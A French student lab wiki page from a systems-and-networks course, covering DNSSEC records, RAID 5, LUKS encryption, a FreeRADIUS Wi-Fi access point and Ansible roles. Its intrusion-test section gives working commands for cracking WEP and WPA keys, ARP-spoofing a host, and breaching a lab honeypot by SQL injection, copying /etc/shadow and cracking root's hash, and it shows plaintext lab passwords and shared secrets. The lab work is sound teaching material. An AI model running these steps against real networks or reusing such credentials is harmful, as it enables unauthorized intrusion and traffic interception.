 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
=== Routeur ===&lt;br /&gt;
&lt;br /&gt;
Commençons par configurer le VLAN 1 &lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface vlan 1&lt;br /&gt;
   ip address 10.1.0.1 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Puis on configure le port (ici Gi1/0/3&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Gi1/0/3&lt;br /&gt;
   switchport&lt;br /&gt;
   switchport mode trunk&lt;br /&gt;
   switchport trunk allowed vlan add 1&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Et voilà mon grand&lt;br /&gt;
&lt;br /&gt;
== Serveur FreeRADIUS ==&lt;br /&gt;
&lt;br /&gt;
Installation de freeRADIUS&lt;br /&gt;
&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
On commence par configurer &amp;lt;code&amp;gt;/etc/freeradius/3.0/clients.conf&amp;lt;/code&amp;gt; à détailler&lt;br /&gt;
&lt;br /&gt;
 client zozo {&lt;br /&gt;
 	ipaddr = 10.1.0.3/24&lt;br /&gt;
 	secret = zinzin&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
ensuite &amp;lt;code&amp;gt;/etc/freeradius/3.0/eap.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 eap {&lt;br /&gt;
   [...]&lt;br /&gt;
   default_eap_type = peap&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
puis &amp;lt;code&amp;gt;/etc/freeradius/3.0/users&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 [...]&lt;br /&gt;
 root Cleartext-Password := &amp;quot;glopglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug &amp;lt;code&amp;gt;freeradius -X&amp;lt;/code&amp;gt; (après avoir au préalable stoppé le processus)&lt;br /&gt;
&lt;br /&gt;
= Réalisations =&lt;br /&gt;
&lt;br /&gt;
== Sécurisation des données (RAID 5) ==&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin de 3 LV à rajouter à notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid1 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid2 storage&lt;br /&gt;
 $ lvcreate -L1G -n Bellerose-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ainsi les rajouter à la configuration de notre VM (&amp;lt;code&amp;gt;/etc/xen/Bellerose.cfg&amp;lt;/code&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid1,xvda5,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid2,xvda6,w'&lt;br /&gt;
 'phy:/dev/storage/Bellerose-raid3,xvda7,w'&lt;br /&gt;
&lt;br /&gt;
Nous pouvons ensuite créer le RAID en relançant la VM et en se connectant dessus.&lt;br /&gt;
&lt;br /&gt;
 $ apt install mdadm&lt;br /&gt;
&lt;br /&gt;
On va ensuite créer un disque nommé &amp;lt;code&amp;gt;/dev/md0&amp;lt;/code&amp;gt; grâce à &amp;lt;code&amp;gt;mdadm&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 $ mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7&lt;br /&gt;
&lt;br /&gt;
On peut ainsi vérifier que notre RAID 5 est effectif :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk  [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk  /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk  /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk  /var&lt;br /&gt;
 xvda5 202:5    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda6 202:6    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
 xvda7 202:7    0    1G  0 disk  &lt;br /&gt;
 `-md0   9:0    0    2G  0 raid5 &lt;br /&gt;
&lt;br /&gt;
Enfin il faut monter ce disque fraîchement créé :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/md0&lt;br /&gt;
 $ mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
on ajoute cette ligne dans &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 /dev/md0 /media/raid ext4 defaults 0 1&lt;br /&gt;
&lt;br /&gt;
puis&lt;br /&gt;
&lt;br /&gt;
 $ mount -a&lt;br /&gt;
&lt;br /&gt;
et toc&lt;br /&gt;
&lt;br /&gt;
== Chiffrement des données ==&lt;br /&gt;
&lt;br /&gt;
On branche la clé USB sur le petit PC bleu, et on lance &amp;lt;code&amp;gt;lsblk&amp;lt;/code&amp;gt; et on trouve :&lt;br /&gt;
&lt;br /&gt;
 NAME     MAJ:MIN RM   SIZE RO TYPE  MOUNTPOINT&lt;br /&gt;
 sda        8:0    1   7,2G  0 disk &lt;br /&gt;
&lt;br /&gt;
Donc on peut formater la clef qui contient déjà quelque chose dessus :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/sda&lt;br /&gt;
&lt;br /&gt;
Avec &amp;lt;code&amp;gt;cryptsetup&amp;lt;/code&amp;gt; on peut initialiser la clef et lui donner un mdp :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sda&lt;br /&gt;
&lt;br /&gt;
On crée une partition chiffrée sur la clé :&lt;br /&gt;
&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sda data&lt;br /&gt;
&lt;br /&gt;
Et on formate :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/data&lt;br /&gt;
&lt;br /&gt;
On monte cette partition pour lui permettre de contenir des fichiers :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/data-usb&lt;br /&gt;
 $ mount -t ext4 /dev/mapper/data /mnt/data-usb&lt;br /&gt;
&lt;br /&gt;
On y ajoute donc un fichier de test :&lt;br /&gt;
&lt;br /&gt;
 $ touch /mnt/data-usb/boujour.txt&lt;br /&gt;
&lt;br /&gt;
Puis on démonte et on ferme le volume chiffré&lt;br /&gt;
&lt;br /&gt;
 $ umont /mnt/data-usb&lt;br /&gt;
 $ cryptsetup luksClose data&lt;br /&gt;
&lt;br /&gt;
Ensuite en branchant la clé USB sur un autre PC pour voir le fonctionnement de notre chiffrement, et lorsqu'on essaie d'accèder à la clef, celle ci nous demande un mot de passe pour accèder aux fichiers, donc le chiffrement fonctionne correctement.&lt;br /&gt;
&lt;br /&gt;
= ASR lab project =&lt;br /&gt;
&lt;br /&gt;
== Ansible hello world ==&lt;br /&gt;
&lt;br /&gt;
Après avoir installé ansible, nous avons pu créer notre premier playbook assez simple :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/ssh_key/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create .ssh if it does not exists&lt;br /&gt;
   file:&lt;br /&gt;
     path: ~/.ssh&lt;br /&gt;
     state: directory &lt;br /&gt;
 &lt;br /&gt;
 - name: Copy authorized_keys&lt;br /&gt;
   copy:&lt;br /&gt;
     src: authorized_keys&lt;br /&gt;
     dest: ~/.ssh/authorized_keys&lt;br /&gt;
&lt;br /&gt;
Ce dernier prend le fichier &amp;lt;code&amp;gt;../files/authorized_keys&amp;lt;/code&amp;gt; (local) et le place dans &amp;lt;code&amp;gt;~/.ssh&amp;lt;/code&amp;gt; (vm) après avoir créé ce répertoire si besoin.&lt;br /&gt;
&lt;br /&gt;
== Iptables ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/tasks/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT tcp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: tcp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_tcp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Allow ports INPUT udp&lt;br /&gt;
   iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     protocol: udp&lt;br /&gt;
     destination_port: &amp;quot;{ { item } }&amp;quot;&lt;br /&gt;
     jump: ACCEPT&lt;br /&gt;
     ctstate: NEW,ESTABLISHED&lt;br /&gt;
   loop: &amp;quot;{ { iptables_accepted_udp_ports } }&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
 - name: Set the policy for the INPUT chain to DROP&lt;br /&gt;
   ansible.builtin.iptables:&lt;br /&gt;
     chain: INPUT&lt;br /&gt;
     policy: DROP&lt;br /&gt;
&lt;br /&gt;
Ici on ajoute tous les ports que l'on veut ouvert en premier, puis on passe la &amp;lt;code&amp;gt;POLICY&amp;lt;/code&amp;gt; à DROP pour ne pas accepter les autres connexions. (il n'y a pas d'espace entre les accolades normalement mais le WIKI nous emmerde)&lt;br /&gt;
&lt;br /&gt;
Nos ports sont variabilisés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;roles/iptables/defaults/main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_tcp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8500&lt;br /&gt;
   - 8501&lt;br /&gt;
   - 8502&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 8300 &lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
 &lt;br /&gt;
 iptables_accepted_udp_ports:&lt;br /&gt;
   - 8600&lt;br /&gt;
   - 8301&lt;br /&gt;
   - 8302&lt;br /&gt;
   - 22&lt;br /&gt;
   - 80&lt;br /&gt;
   - 443&lt;br /&gt;
&lt;br /&gt;
voilà&lt;br /&gt;
&lt;br /&gt;
== Consul ==&lt;br /&gt;
&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;roles/consul/tasks/main.yml&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul group&lt;br /&gt;
   group:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     gid: 666&lt;br /&gt;
 &lt;br /&gt;
 - name: Create consul user&lt;br /&gt;
   user:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
     uid: 666&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Create dirs&lt;br /&gt;
   file:&lt;br /&gt;
     state: directory&lt;br /&gt;
     path: &amp;quot;{{ item }}&amp;quot;&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
   loop:&lt;br /&gt;
     - /etc/consul&lt;br /&gt;
     - /var/lib/consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp key&lt;br /&gt;
   apt_key:&lt;br /&gt;
     url: https://apt.releases.hashicorp.com/gpg&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Add HashiCorp repo&lt;br /&gt;
   apt_repository:&lt;br /&gt;
     repo: &amp;quot;deb https://apt.releases.hashicorp.com {{ ansible_distribution_release }} main&amp;quot;&lt;br /&gt;
     state: present&lt;br /&gt;
     update_cache: true&lt;br /&gt;
 &lt;br /&gt;
 - name: Install Consul&lt;br /&gt;
   package:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: present&lt;br /&gt;
 &lt;br /&gt;
 - name: Put config&lt;br /&gt;
   copy:&lt;br /&gt;
     src: config.json&lt;br /&gt;
     dest: /etc/consul/server.json&lt;br /&gt;
     owner: consul&lt;br /&gt;
     group: consul&lt;br /&gt;
 &lt;br /&gt;
 - name: Add consul systemd service file&lt;br /&gt;
   copy:&lt;br /&gt;
     src: consul.service&lt;br /&gt;
     dest: /etc/systemd/system/consul.service&lt;br /&gt;
 &lt;br /&gt;
 - name: Start consul service&lt;br /&gt;
   systemd:&lt;br /&gt;
     name: consul&lt;br /&gt;
     state: restarted&lt;br /&gt;
     enabled: yes&lt;br /&gt;
&lt;br /&gt;
Et le fichier &amp;lt;code&amp;gt;roles/consul/files/config.json&amp;lt;/code&amp;gt; contient :&lt;br /&gt;
&lt;br /&gt;
 {&lt;br /&gt;
 	&amp;quot;datacenter&amp;quot;: &amp;quot;polytech&amp;quot;,&lt;br /&gt;
 	&amp;quot;data_dir&amp;quot;: &amp;quot;/var/lib/consul&amp;quot;,&lt;br /&gt;
 	&amp;quot;log_level&amp;quot;: &amp;quot;INFO&amp;quot;,&lt;br /&gt;
 	&amp;quot;node_name&amp;quot;: &amp;quot;jsp&amp;quot;,&lt;br /&gt;
 	&amp;quot;server&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bind_addr&amp;quot;: &amp;quot;172.26.145.106&amp;quot;,&lt;br /&gt;
 	&amp;quot;bootstrap&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;bootstrap_expect&amp;quot;: 1,&lt;br /&gt;
 	&amp;quot;ui&amp;quot;: true,&lt;br /&gt;
 	&amp;quot;client_addr&amp;quot;: &amp;quot;0.0.0.0&amp;quot;&lt;br /&gt;
 }&lt;/div&gt;</summary>
		<author><name>Lwadbled</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G6&amp;diff=57984</id>
		<title>TP sysres IMA5 2021/2022 G6</title>
